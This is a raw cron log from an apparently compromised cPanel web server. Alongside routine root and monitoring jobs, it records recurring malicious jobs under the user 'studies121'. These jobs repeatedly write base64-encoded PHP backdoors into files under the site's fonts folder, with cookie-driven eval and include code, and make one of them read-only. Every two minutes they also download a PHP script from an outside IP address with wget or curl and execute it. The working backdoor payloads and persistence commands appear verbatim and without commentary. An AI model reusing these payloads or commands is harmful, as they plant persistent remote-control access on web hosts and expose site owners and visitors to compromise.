Sep 10 14:14:01 ip-184-168-122-23 CROND[21820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:14:01 ip-184-168-122-23 CROND[21823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:15:01 ip-184-168-122-23 CROND[21951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:15:01 ip-184-168-122-23 CROND[21953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:15:01 ip-184-168-122-23 CROND[21955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:15:01 ip-184-168-122-23 CROND[21954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:15:01 ip-184-168-122-23 CROND[21957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:15:01 ip-184-168-122-23 CROND[21958]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 14:15:01 ip-184-168-122-23 CROND[21956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:16:01 ip-184-168-122-23 CROND[22053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:16:01 ip-184-168-122-23 CROND[22054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:16:01 ip-184-168-122-23 CROND[22056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:16:01 ip-184-168-122-23 CROND[22059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:16:01 ip-184-168-122-23 CROND[22060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:16:01 ip-184-168-122-23 CROND[22061]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:17:01 ip-184-168-122-23 CROND[22159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:17:01 ip-184-168-122-23 CROND[22160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:17:01 ip-184-168-122-23 CROND[22163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:17:01 ip-184-168-122-23 CROND[22164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:18:01 ip-184-168-122-23 CROND[22244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:18:01 ip-184-168-122-23 CROND[22248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:18:01 ip-184-168-122-23 CROND[22246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:18:01 ip-184-168-122-23 CROND[22247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:18:01 ip-184-168-122-23 CROND[22249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:19:01 ip-184-168-122-23 CROND[22342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:19:01 ip-184-168-122-23 CROND[22341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:19:01 ip-184-168-122-23 CROND[22344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:19:01 ip-184-168-122-23 CROND[22343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:20:01 ip-184-168-122-23 CROND[22546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:20:01 ip-184-168-122-23 CROND[22545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:20:01 ip-184-168-122-23 CROND[22550]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:20:01 ip-184-168-122-23 CROND[22554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:20:01 ip-184-168-122-23 CROND[22555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:20:01 ip-184-168-122-23 CROND[22552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:20:01 ip-184-168-122-23 CROND[22557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:20:01 ip-184-168-122-23 CROND[22558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:20:01 ip-184-168-122-23 CROND[22556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:21:01 ip-184-168-122-23 CROND[22662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:21:01 ip-184-168-122-23 CROND[22663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:21:01 ip-184-168-122-23 CROND[22661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:21:01 ip-184-168-122-23 CROND[22664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:22:01 ip-184-168-122-23 CROND[22770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:22:01 ip-184-168-122-23 CROND[22775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:22:01 ip-184-168-122-23 CROND[22776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:22:01 ip-184-168-122-23 CROND[22774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:22:01 ip-184-168-122-23 CROND[22773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:23:01 ip-184-168-122-23 CROND[22869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:23:01 ip-184-168-122-23 CROND[22872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:23:01 ip-184-168-122-23 CROND[22873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:23:01 ip-184-168-122-23 CROND[22871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:24:01 ip-184-168-122-23 CROND[22974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:24:01 ip-184-168-122-23 CROND[22976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:24:01 ip-184-168-122-23 CROND[22975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:24:01 ip-184-168-122-23 CROND[22977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:24:01 ip-184-168-122-23 CROND[22978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:25:01 ip-184-168-122-23 CROND[23081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:25:01 ip-184-168-122-23 CROND[23080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:25:02 ip-184-168-122-23 CROND[23089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:25:02 ip-184-168-122-23 CROND[23088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:25:02 ip-184-168-122-23 CROND[23090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:25:02 ip-184-168-122-23 CROND[23087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:25:02 ip-184-168-122-23 CROND[23095]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 14:26:01 ip-184-168-122-23 CROND[23186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:26:01 ip-184-168-122-23 CROND[23187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:26:01 ip-184-168-122-23 CROND[23190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:26:01 ip-184-168-122-23 CROND[23194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
